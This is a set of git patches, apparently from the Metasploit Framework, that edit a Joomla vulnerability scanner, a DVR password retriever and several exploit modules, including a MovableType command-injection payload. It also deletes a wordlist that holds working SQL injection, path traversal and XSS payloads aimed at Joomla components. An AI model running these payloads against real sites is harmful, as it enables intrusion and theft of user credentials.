if(out =~ /Unknown Joomla/) - print_error("Unable to identify Joomla Version with this file #{app}") + print_error("#{peer} - Unable to identify Joomla Version with this file #{app}") return false else - print_good("Joomla Version:#{out} from: #{app} ") - print_good("OS: #{os}") + print_good("#{peer} - Joomla Version:#{out} from: #{app} ") + print_good("#{peer} - OS: #{os}") report_note( :host => ip, :port => datastore['RPORT'], @@ -146,44 +152,50 @@ class Metasploit3 < Msf::Auxiliary :ntype => 'Joomla Version', :data => out ) - return true + return :next_app end - elsif(res.code.to_i == 403 and datastore['VERBOSE']) + elsif(res.code == 403) if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - print_status("#{ip} denied access to #{url} (SSL Required)") + vprint_status("#{ip} denied access to #{ip} (SSL Required)") elsif(res.body =~ /has a list of IP addresses that are not allowed/) - print_status("#{ip} restricted access by IP") + vprint_status("#{ip} restricted access by IP") elsif(res.body =~ /SSL client certificate is required/) - print_status("#{ip} requires a SSL client certificate") + vprint_status("#{ip} requires a SSL client certificate") else - print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + vprint_status("#{ip} denied access to #{ip} #{res.code} #{res.message}") end end rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return :abort rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return :abort rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return :abort end - def scan_pages (tpath, iapp, ip) + def scan_pages(tpath, iapp, ip) res = send_request_cgi({ - 'uri' => "#{datastore['PATH']}" << iapp, + 'uri' => "#{tpath}" << iapp, 'method' => 'GET', }, 5) - return if not res or not res.body or not res.code + return false if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') - if (res.code.to_i == 200) + if (res.code == 200) if(res.body =~ /Administration Login/ and res.body =~ /\(\'form-login\'\)\.submit/ or res.body =~/administration console/) - sout = "Administrator Login Page" + sout = "**Administrator Login Page" elsif(res.body =~/Registration/ and res.body =~/class="validate">Register<\/button>/) - sout = "Registration Page" + sout = "**Registration Page" else - sout = iapp + sout = iapp end return if not sout if(sout == iapp) - print_good("#{iapp}") - elsif print_good("#{sout}: #{iapp} ") + print_good("#{peer} - Page: #{tpath}#{iapp}") + elsif print_good("#{peer} - Page: #{tpath}#{iapp} #{sout}") report_note( :host => ip, :port => datastore['RPORT'], @@ -192,58 +204,64 @@ class Metasploit3 < Msf::Auxiliary :data => sout ) end - elsif(res.code.to_i == 403 and datastore['VERBOSE']) + elsif(res.code == 403) if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - print_status("#{ip} denied access to #{url} (SSL Required)") + vprint_status("#{ip} denied access to #{ip} (SSL Required)") elsif(res.body =~ /has a list of IP addresses that are not allowed/) - print_status("#{ip} restricted access by IP") + vprint_status("#{ip} restricted access by IP") elsif(res.body =~ /SSL client certificate is required/) - print_status("#{ip} requires a SSL client certificate") + vprint_status("#{ip} requires a SSL client certificate") else - print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + vprint_status("#{ip} ip access to #{ip} #{res.code} #{res.message}") end end rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return :abort rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return :abort rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return :abort end - def plugin_search (tpath, papp, ip, bres) + def plugin_search(tpath, papp, ip, bres) res = send_request_cgi({ - 'uri' => "#{datastore['PATH']}" << papp, + 'uri' => "#{tpath}" << papp, 'method' => 'GET', }, 5) return if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') osize = bres.body.size nsize = res.body.size - if (res.code.to_i == 200 and res.body !~/#404 Component not found/ and res.body !~/<h1>Joomla! Administration Login<\/h1>/ and osize != nsize) - print_good("Found Plugin: #{papp} ") + if (res.code == 200 and res.body !~/#404 Component not found/ and res.body !~/<h1>Joomla! Administration Login<\/h1>/ and osize != nsize) + print_good("#{peer} - Plugin: #{tpath}#{papp} ") if (papp =~/passwd/ and res.body !~/root/) - print_error("Passwd not found") + vprint_error("#{peer} - Vulnerability: LFI not found") elsif(papp =~/passwd/ and res.body =~/root/) - print_good("Passwd file found in response") + print_good("#{peer} - Vulnerability: Potential LFI") elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body =~/SQL syntax/) - print_good("Possible SQL Injection") + print_good("#{peer} - Vulnerability: Potential SQL Injection") elsif(papp =~/'/ or papp =~/union/ or papp =~/sqli/ or papp =~/-\d/ and papp !~/alert/ and res.body !~/SQL syntax/) - print_error("Unable to identify SQL injection") + vprint_error("#{peer} - Vulnerability: Unable to identify SQL injection") elsif(papp =~/>alert/ and res.body !~/>alert/) - print_error("No XSS") + vprint_error("#{peer} - Vulnerability: No XSS") elsif(papp =~/>alert/ and res.body =~/>alert/) - print_good("Possible XSS") + print_good("#{peer} - Vulnerability: Potential XSS") elsif(res.body =~/SQL syntax/ ) - print_good("Possible SQL Injection") + print_good("#{peer} - Vulnerability: Potential SQL Injection") elsif(papp =~/com_/) vars = papp.split('_') pages = vars[1].gsub('/','') res1 = send_request_cgi({ - 'uri' => "#{datastore['PATH']}"<<"index.php?option=com_#{pages}", + 'uri' => "#{tpath}"<<"index.php?option=com_#{pages}", 'method' => 'GET', }, 5) - if (res1.code.to_i == 200) - print_good("Found Page: index.php?option=com_#{pages}") + if (res1.code == 200) + print_good("#{peer} - Page: #{tpath}index.php?option=com_#{pages}") else - print_error("#{datastore['PATH']}"<<"index.php?option=com_#{pages} gave a #{res1.code.to_s} response") + vprint_error("#{peer} - Page: #{tpath}"<<"index.php?option=com_#{pages} gave a #{res1.code.to_s} response") end end report_note( @@ -253,21 +271,27 @@ class Metasploit3 < Msf::Auxiliary :ntype => 'Plugin Found', :data => papp ) - elsif(res.code.to_i == 403 and datastore['VERBOSE']) + elsif(res.code == 403) if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - print_status("#{ip} denied access to #{url} (SSL Required)") + vprint_status("#{ip} ip access to #{ip} (SSL Required)") elsif(res.body =~ /has a list of IP addresses that are not allowed/) - print_status("#{ip} restricted access by IP") + vprint_status("#{ip} restricted access by IP") elsif(res.body =~ /SSL client certificate is required/) - print_status("#{ip} requires a SSL client certificate") + vprint_status("#{ip} requires a SSL client certificate") else - print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + vprint_status("#{ip} denied access to #{ip}#{tpath}#{papp} - #{res.code} #{res.message}") end end rescue OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL error") + return :abort rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error("#{peer} - Unable to Connect") + return :abort rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error("#{peer} - Timeout error") + return :abort end From 2c12666f4e3359802cbf9593d7ad9e7b128c5e40 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 23 Jan 2013 21:10:05 -0600 Subject: [PATCH 56/87] Update the vendor to match the OEM source --- modules/auxiliary/scanner/misc/swann_dvr_passwords.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/misc/swann_dvr_passwords.rb b/modules/auxiliary/scanner/misc/swann_dvr_passwords.rb index 559e439b6a..af08f4d8c0 100644 --- a/modules/auxiliary/scanner/misc/swann_dvr_passwords.rb +++ b/modules/auxiliary/scanner/misc/swann_dvr_passwords.rb @@ -16,13 +16,13 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Swann DVR Password Retriever', + 'Name' => 'Ray Sharp DVR Password Retriever', 'Description' => %q{ This module takes advantage of a protocol design issue with the - Swann DVR systems. It is possible to retrieve the username and - password through the TCP service running on port 9000. Other - brand DVRs with the same issue may include Lorex, Night Owl, Zmodo - URMET, and KGuard Security. + Ray Sharp based DVR systems. It is possible to retrieve the username and + password through the TCP service running on port 9000. Other brands using + this platform and exposing the same issue may include Swann, Lorex, + Night Owl, Zmodo, URMET, and KGuard Security. }, 'Author' => [ From 8e0924770303da7c738e7ef82613db8289ac9ae0 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 23 Jan 2013 21:10:25 -0600 Subject: [PATCH 57/87] Rename to match the OEM vendor --- .../misc/{swann_dvr_passwords.rb => raysharp_dvr_passwords.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/misc/{swann_dvr_passwords.rb => raysharp_dvr_passwords.rb} (100%) diff --git a/modules/auxiliary/scanner/misc/swann_dvr_passwords.rb b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb similarity index 100% rename from modules/auxiliary/scanner/misc/swann_dvr_passwords.rb rename to modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb From 0c0f4a3e66455b38c371958b446852ee7778139e Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Wed, 23 Jan 2013 23:35:31 -0600 Subject: [PATCH 58/87] Lower ranking because they cannot auto-target In order to be qualified as ExcellentRanking, auto-target is a must, or the module has to default to a payload that's universal for multiple platforms. Otherwise you're wasting time in Pro. --- modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb | 2 +- modules/exploits/multi/http/jenkins_script_console.rb | 2 +- modules/exploits/multi/http/splunk_upload_app_exec.rb | 2 +- modules/exploits/multi/http/struts_code_exec.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index 107cb3dd29..f196e48619 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GoodRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 7d94d5640b..bc195f03a9 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerVBS diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index f53da514dd..4bf8cc5abd 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index 1c4bfc9e07..1ff0316708 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GoodRanking include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient From 3146b7ce77ceb294da9cc26958bb58221e237c03 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Wed, 23 Jan 2013 23:40:47 -0600 Subject: [PATCH 59/87] Change default target ExcellentRanking requires the module to auto-target. If the payload is universal, that works too. --- .../exploits/multi/http/struts_code_exec_exception_delegator.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index caa7d8b2da..f33f57bfb1 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote ] ], 'DisclosureDate' => 'Jan 06 2012', - 'DefaultTarget' => 0)) + 'DefaultTarget' => 2)) register_options( [ From ba41ee9c83e993c5a6417e073eea2e7373b5dc16 Mon Sep 17 00:00:00 2001 From: Kacper Nowak <kacper.p.nowak@gmail.com> Date: Thu, 24 Jan 2013 13:15:42 +0000 Subject: [PATCH 60/87] - applied all the changes from #1363 - some extra escaping for the sake of it - removed the timeout in http_send_raw --- .../multi/http/movabletype_upgrade_exec.rb | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 43224ee2d7..96c4a846cb 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -33,7 +33,7 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Kacper Nowak', 'Nick Blundell', - "Gary O'Leary-Steele" + 'Gary O\'Leary-Steele' ], 'References' => [ @@ -76,7 +76,7 @@ class Metasploit4 < Msf::Exploit::Remote begin res = http_send_raw(fingerprint) rescue Rex::ConnectionError - return + return Exploit::CheckCode::Unknown end if (res) if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/) @@ -86,6 +86,8 @@ class Metasploit4 < Msf::Exploit::Remote else return Exploit::CheckCode::Safe end + else + return Exploit::CheckCode::Unknown end end @@ -95,8 +97,9 @@ class Metasploit4 < Msf::Exploit::Remote http_send_cmd(payload.encoded) end - def http_send_raw(cmd, timeout=20) + def http_send_raw(cmd) path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi' + pay = cmd.gsub('\\', '\\\\').gsub('"', '\"') send_request_cgi( { 'uri' => path, @@ -105,15 +108,15 @@ class Metasploit4 < Msf::Exploit::Remote { '__mode' => 'run_actions', 'installing' => '1', - 'steps' => %{[["core_drop_meta_for_table","class","#{cmd.gsub('"', '\"')}"]]} + 'steps' => %{[["core_drop_meta_for_table","class","#{pay}"]]} } - }, timeout) + }) end def http_send_cmd(cmd) pay = 'v0;use MIME::Base64;system(decode_base64(q(' pay << Rex::Text.encode_base64(cmd) pay << ')));return 0' - http_send_raw(pay, 0.5) + http_send_raw(pay) end end From bf2b01f8ef53c6d185b91b071a351943e4171e92 Mon Sep 17 00:00:00 2001 From: f8lerror <f8lerror+git@gmail.com> Date: Thu, 24 Jan 2013 09:30:04 -0500 Subject: [PATCH 61/87] Delete a file and strip space --- data/wordlists/pcheck.txt | 627 ------------------ .../auxiliary/scanner/http/joomla_vulnscan.rb | 2 +- 2 files changed, 1 insertion(+), 628 deletions(-) delete mode 100755 data/wordlists/pcheck.txt diff --git a/data/wordlists/pcheck.txt b/data/wordlists/pcheck.txt deleted file mode 100755 index b65dd2a422..0000000000 --- a/data/wordlists/pcheck.txt +++ /dev/null @@ -1,627 +0,0 @@ -&controller=../../../../../../../../../../../../[LFI]%00 -?1.5.10-x -?1.5.11-x-http_ref -?1.5.11-x-php-s3lf -?1.5.3-path-disclose -?1.5.3-spam -?1.5.8-x -?1.5.9-x -?j1012-fixate-session -?option=com_mysms&Itemid=0&task=phonebook -Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png -admin/ -administrator/ -administrator/components/ -administrator/components/com_a6mambocredits/ -administrator/components/com_a6mambohelpdesk/ -administrator/components/com_admin/admin.admin.html.php -administrator/components/com_astatspro/refer.php -administrator/components/com_bayesiannaivefilter/ -administrator/components/com_chronocontact/excelwriter/PPS/File.php -administrator/components/com_colophon/ -administrator/components/com_colorlab/ -administrator/components/com_comprofiler/ -administrator/components/com_comprofiler/plugin.class.php -administrator/components/com_cropimage/admin.cropcanvas.php -administrator/components/com_extplorer/ -administrator/components/com_feederator/includes/tmsp/add_tmsp.php -administrator/components/com_googlebase/ -administrator/components/com_installer -administrator/components/com_jcs/ -administrator/components/com_jim/ -administrator/components/com_jjgallery/ -administrator/components/com_joom12pic/ -administrator/components/com_joomla-visites/ -administrator/components/com_joomla_flash_uploader/ -administrator/components/com_joomlaflashfun/ -administrator/components/com_joomlaradiov5/ -administrator/components/com_jpack/ -administrator/components/com_jreactions/ -administrator/components/com_juser/ -administrator/components/com_admin/ -administrator/components/com_kochsuite / -administrator/components/com_linkdirectory/ -administrator/components/com_livechat/getSavedChatRooms.php -administrator/components/com_livechat/xmlhttp.php -administrator/components/com_lurm_constructor/admin.lurm_constructor.php -administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php"); -administrator/components/com_mambelfish/ -administrator/components/com_mgm/ -administrator/components/com_mmp/help.mmp.php -administrator/components/com_mosmedia/ -administrator/components/com_multibanners/extadminmenus.class.php -administrator/components/com_panoramic/ -administrator/components/com_peoplebook/param.peoplebook.php -administrator/components/com_phpshop/toolbar.phpshop.html.php -administrator/components/com_remository/admin.remository.php -administrator/components/com_serverstat/install.serverstat.php -administrator/components/com_simpleswfupload/uploadhandler.php"); -administrator/components/com_swmenupro/ -administrator/components/com_treeg/ -administrator/components/com_uhp/ -administrator/components/com_uhp2/ -administrator/components/com_webring/ -administrator/components/com_wmtgallery/ -administrator/components/com_wmtportfolio/ -administrator/components/com_x-shop/ -administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ -administrator/index.php?option=com_searchlog&act=log -ajaxim/ -akocomments.php -cart?Itemid=[SQLi] -component/com__brightweblinks/ -component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 -component/osproperty/?task=agent_register -component/quran/index.php?option=com_quran&action=viewayat&surano= -components/com_ clickheat/ -components/com_5starhotels/ -components/com_Jambook/jambook.php -components/com_a6mambocredits/ -components/com_a6mambohelpdesk/ -components/com_ab_gallery/ -components/com_acajoom/ -components/com_acctexp/ -components/com_aclassf/ -components/com_activities/ -components/com_actualite/ -components/com_admin/admin.admin.html.php -components/com_advancedpoll/ -components/com_agora/ -components/com_agoragroup/ -components/com_ajaxchat/ -components/com_akobook/ -components/com_akocomment/ -components/com_akogallery -components/com_alberghi/ -components/com_allhotels/ -components/com_alphacontent/ -components/com_altas/ -components/com_amocourse/ -components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php -components/com_articles/ -components/com_artist/ -components/com_artlinks/ -components/com_asortyment/ -components/com_astatspro/ -components/com_awesom/ -components/com_babackup/ -components/com_banners/ -components/com_bayesiannaivefilter/ -components/com_be_it_easypartner/ -components/com_beamospetition/ -components/com_biblestudy/ -components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 -components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 -components/com_blog/ -components/com_bookflip/ -components/com_bookjoomlas/ -components/com_booklibrary/ -components/com_books/ -components/com_bsadv/ -components/com_bsq_sitestats/ -components/com_bsq_sitestats/external/rssfeed.php -components/com_bsqsitestats/ -components/com_calendar/ -components/com_camelcitydb2/ -components/com_candle/ -components/com_casino_blackjack/ -components/com_casino_videopoker/ -components/com_casinobase/ -components/com_catalogproduction/ -components/com_catalogshop/ -components/com_category/ -components/com_cgtestimonial/video.php?url="><script>alert('xss');</script> -components/com_chronocontact/excelwriter/PPS/File.php -components/com_cinema/ -components/com_clasifier/ -components/com_classifieds/ -components/com_clickheat/ -components/com_cloner/ -components/com_cmimarketplace/ -components/com_cms/ -components/com_colophon/ -components/com_colorlab/ -components/com_competitions/ -components/com_comprofiler/ -components/com_comprofiler/plugin.class.php -components/com_contactinfo/ -components/com_content/ -components/com_cpg/cpg.php -components/com_cropimage/admin.cropcanvas.php -components/com_custompages/ -components/com_cx/ -components/com_d3000/ -components/com_dadamail/ -components/com_dailymessage/ -components/com_datsogallery/ -components/com_dbquery/ -components/com_detail/ -components/com_digistore/ -components/com_directory/ -components/com_djiceshoutbox/ -components/com_doc/ -components/com_downloads/ -components/com_ds-syndicate/ -components/com_dtregister/ -components/com_dv/externals/phpupload/upload.php"); -components/com_easybook/ -components/com_emcomposer/ -components/com_equotes/ -components/com_estateagent/ -components/com_eventing/ -components/com_eventlist/ -components/com_events/ -components/com_ewriting/ -components/com_expose/uploadimg.php -components/com_expshop/ -components/com_extcalendar/ -components/com_extcalendar/cal_popup.php?extmode=view&extid= -components/com_extcalendar/extcalendar.php -components/com_extended_registration/registration_detailed.inc.php -components/com_extplorer/ -components/com_ezine/ -components/com_ezstore/ -components/com_facileforms/ -components/com_fantasytournament/ -components/com_faq/ -components/com_feederator/includes/tmsp/add_tmsp.php -components/com_filebase/ -components/com_filiale/ -components/com_flashfun/ -components/com_flashmagazinedeluxe/ -components/com_flippingbook/ -components/com_flyspray/startdown.php -components/com_fm/fm.install.php -components/com_foevpartners/ -components/com_football/ -components/com_formtool/ -components/com_forum/ -components/com_fq/ -components/com_fundraiser/ -components/com_galeria/ -components/com_galleria/galleria.html.php -components/com_gallery/ -components/com_game/ -components/com_gameq/ -components/com_garyscookbook/ -components/com_genealogy/ -components/com_geoboerse/ -components/com_gigcal/ -components/com_gmaps/ -components/com_googlebase/ -components/com_gsticketsystem/ -components/com_guide/ -components/com_hashcash/server.php -components/com_hbssearch/ -components/com_hello_world/ -components/com_hotproperties/ -components/com_hotproperty/ -components/com_hotspots/ -components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php -components/com_hwdvideoshare/ -components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"); -components/com_ice/ -components/com_idoblog/ -components/com_idvnews/ -components/com_ignitegallery/ -components/com_ijoomla_archive/ -components/com_ijoomla_rss/ -components/com_inter/ -components/com_ionfiles/ -components/com_is/ -components/com_ixxocart/ -components/com_jabode/ -components/com_jashowcase/ -components/com_jb2/ -components/com_jce/ -components/com_jcs/ -components/com_jd-wiki/ -components/com_jd-wp/ -components/com_jim/ -components/com_jjgallery/ -components/com_jmovies/ -components/com_jobline/ -components/com_jombib/ -components/com_joobb/ -components/com_jooget/ -components/com_joom12pic/ -components/com_joomla-visites/ -components/com_joomla_flash_uploader/ -components/com_joomlaboard/ -components/com_joomladate/ -components/com_joomlaflashfun/ -components/com_joomlalib/ -components/com_joomlaradiov5/ -components/com_joomlavvz/ -components/com_joomlaxplorer/ -components/com_joomloads/ -components/com_joomradio/ -components/com_joomtracker/ -components/com_joovideo/ -components/com_jotloader/ -components/com_journal/ -components/com_jpack/ -components/com_jpad/ -components/com_jreactions/ -components/com_jreviews/scripts/xajax.inc.php -components/com_jumi/ -components/com_juser/ -components/com_jvideo/ -components/com_k2/ -components/com_kbase/ -components/com_knowledgebase/fckeditor/fckeditor.js -components/com_kochsuite / -components/com_kunena/ -components/com_letterman/ -components/com_lexikon/ -components/com_linkdirectory/ -components/com_listoffreeads/ -components/com_livechat/getSavedChatRooms.php -components/com_livechat/xmlhttp.php -components/com_liveticker/ -components/com_lm/ -components/com_lmo/ -components/com_loudmounth/includes/abbc/abbc.class.php -components/com_loudmouth/ -components/com_lowcosthotels/ -components/com_lurm_constructor/admin.lurm_constructor.php -components/com_mad4joomla/ -components/com_madeira/img.php -components/com_maianmusic/ -components/com_mailarchive/ -components/com_mailto/ -components/com_mambatstaff/mambatstaff.php -components/com_mambelfish/ -components/com_mambospgm/ -components/com_mambowiki/MamboLogin.php -components/com_marketplace/ -components/com_mcquiz/ -components/com_mdigg/ -components/com_media_library/ -components/com_mediaslide/ -components/com_mezun/ -components/com_mgm/ -components/com_minibb/ -components/com_misterestate/ -components/com_mmp/help.mmp.php -components/com_model/ -components/com_moodle/moodle.php -components/com_moofaq/ -components/com_mosmedia/ -components/com_mospray/scripts/admin.php -components/com_mosres/ -components/com_most/ -components/com_mp3_allopass/ -components/com_mtree/ -components/com_mtree/img/listings/o/{id}.php -components/com_multibanners/extadminmenus.class.php -components/com_myalbum/ -components/com_mycontent/ -components/com_mydyngallery/ -components/com_mygallery/ -components/com_n-forms/ -components/com_na_content/ -components/com_na_mydocs/ -components/com_na_newsdescription/ -components/com_na_qforms/ -components/com_neogallery/ -components/com_neorecruit/ -components/com_neoreferences/ -components/com_netinvoice/ -components/com_news/ -components/com_news_portal/ -components/com_newsflash/ -components/com_nfn_addressbook/ -components/com_nicetalk/ -components/com_noticias/ -components/com_omnirealestate/ -components/com_omphotogallery/ -components/com_ongumatimesheet20/ -components/com_onlineflashquiz/ -components/com_ownbiblio/ -components/com_panoramic/ -components/com_paxgallery/ -components/com_paxxgallery/ -components/com_pcchess/ -components/com_pcchess/include.pcchess.php -components/com_pccookbook/ -components/com_pccookbook/pccookbook.php -components/com_peoplebook/param.peoplebook.php -components/com_performs/ -components/com_philaform/ -components/com_phocadocumentation/ -components/com_php/ -components/com_phpshop/toolbar.phpshop.html.php -components/com_pinboard/ -components/com_pms/ -components/com_poll/ -components/com_pollxt/ -components/com_ponygallery/ -components/com_portafolio/ -components/com_portfol/ -components/com_prayercenter/ -components/com_pro_desk/ -components/com_prod/ -components/com_productshowcase/ -components/com_profiler/ -components/com_projectfork/ -components/com_propertylab/ -components/com_puarcade/ -components/com_publication/ -components/com_quiz/ -components/com_rapidrecipe/ -components/com_rdautos/ -components/com_realestatemanager/ -components/com_recly/ -components/com_referenzen/ -components/com_rekry/ -components/com_remository/admin.remository.php -components/com_remository_files/file_image_14/1276100016shell.php -components/com_reporter/processor/reporter.sql.php -components/com_resman/ -components/com_restaurante/ -components/com_ricette/ -components/com_rsfiles/ -components/com_rsgallery/ -components/com_rsgallery2/ -components/com_rss/ -components/com_rssreader/ -components/com_rssxt/ -components/com_rwcards/ -components/com_school/ -components/com_search/ -components/com_sebercart/getPic.php?p=[LFD]%00 -components/com_securityimages/ -components/com_sef/ -components/com_seminar/ -components/com_serverstat/install.serverstat.php -components/com_sg/ -components/com_simple_review/ -components/com_simpleboard/ -components/com_simplefaq/ -components/com_simpleshop/ -components/com_sitemap/sitemap.xml.php -components/com_slideshow/ -components/com_smf/ -components/com_smf/smf.php -components/com_swmenupro/ -components/com_team/ -components/com_tech_article/ -components/com_thopper/ -components/com_thyme/ -components/com_tickets/ -components/com_tophotelmodule/ -components/com_tour_toto/ -components/com_trade/ -components/com_uhp/ -components/com_uhp2/ -components/com_user/controller.php -components/com_users/ -components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php -components/com_vehiclemanager/ -components/com_versioning / -components/com_videodb/core/videodb.class.xml.php -components/com_virtuemart/ -components/com_volunteer/ -components/com_vr/ -components/com_waticketsystem/ -components/com_webhosting/ -components/com_weblinks/ -components/com_webring/ -components/com_wmtgallery/ -components/com_wmtportfolio/ -components/com_x-shop/ -components/com_xevidmegahd/ -components/com_xewebtv/ -components/com_xfaq/ -components/com_xgallery/helpers/img.php?file= -components/com_xsstream-dm/ -components/com_ynews/ -components/com_yvcomment/ -components/com_zoom/classes/ -components/mod_letterman/ -components/remository/ -eXtplorer/ -easyblog/entry/uncategorized -extplorer/ -http://{target}/components/com_mtree/img/listings/o/{id}.php where {id} -includes/joomla.php -index.php/404' -index.php/?option=com_question&catID=21' and+1=0 union all -index.php/image-gallery/"><script>alert('xss')</script>/25-koala -index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 -index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view -index.php?option=com_aardvertiser&cat_name=conf&task=<= -index.php?option=com_aardvertiser&task= -index.php?option=com_abc&view=abc&letter=AS§ionid=' -index.php?option=com_advert&id=36' -index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users-- -index.php?option=com_alfurqan15x&action=viewayat&surano= -index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version -index.php?option=com_annonces&view=edit&Itemid=1 -index.php?option=com_articleman&task=new -index.php?option=com_bbs&bid=-1 -index.php?option=com_beamospetition&startpage=3&pet=- -index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users- -index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27 -index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00 -index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 -index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00 -index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1 -index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users-- -index.php?option=com_chronoconnectivity&itemid=1 -index.php?option=com_chronocontact&itemid=1 -index.php?option=com_cinema&Itemid=S@BUN&func=detail&id= -index.php?option=com_clantools&squad=1+ -index.php?option=com_clantools&task=clanwar&showgame=1+ 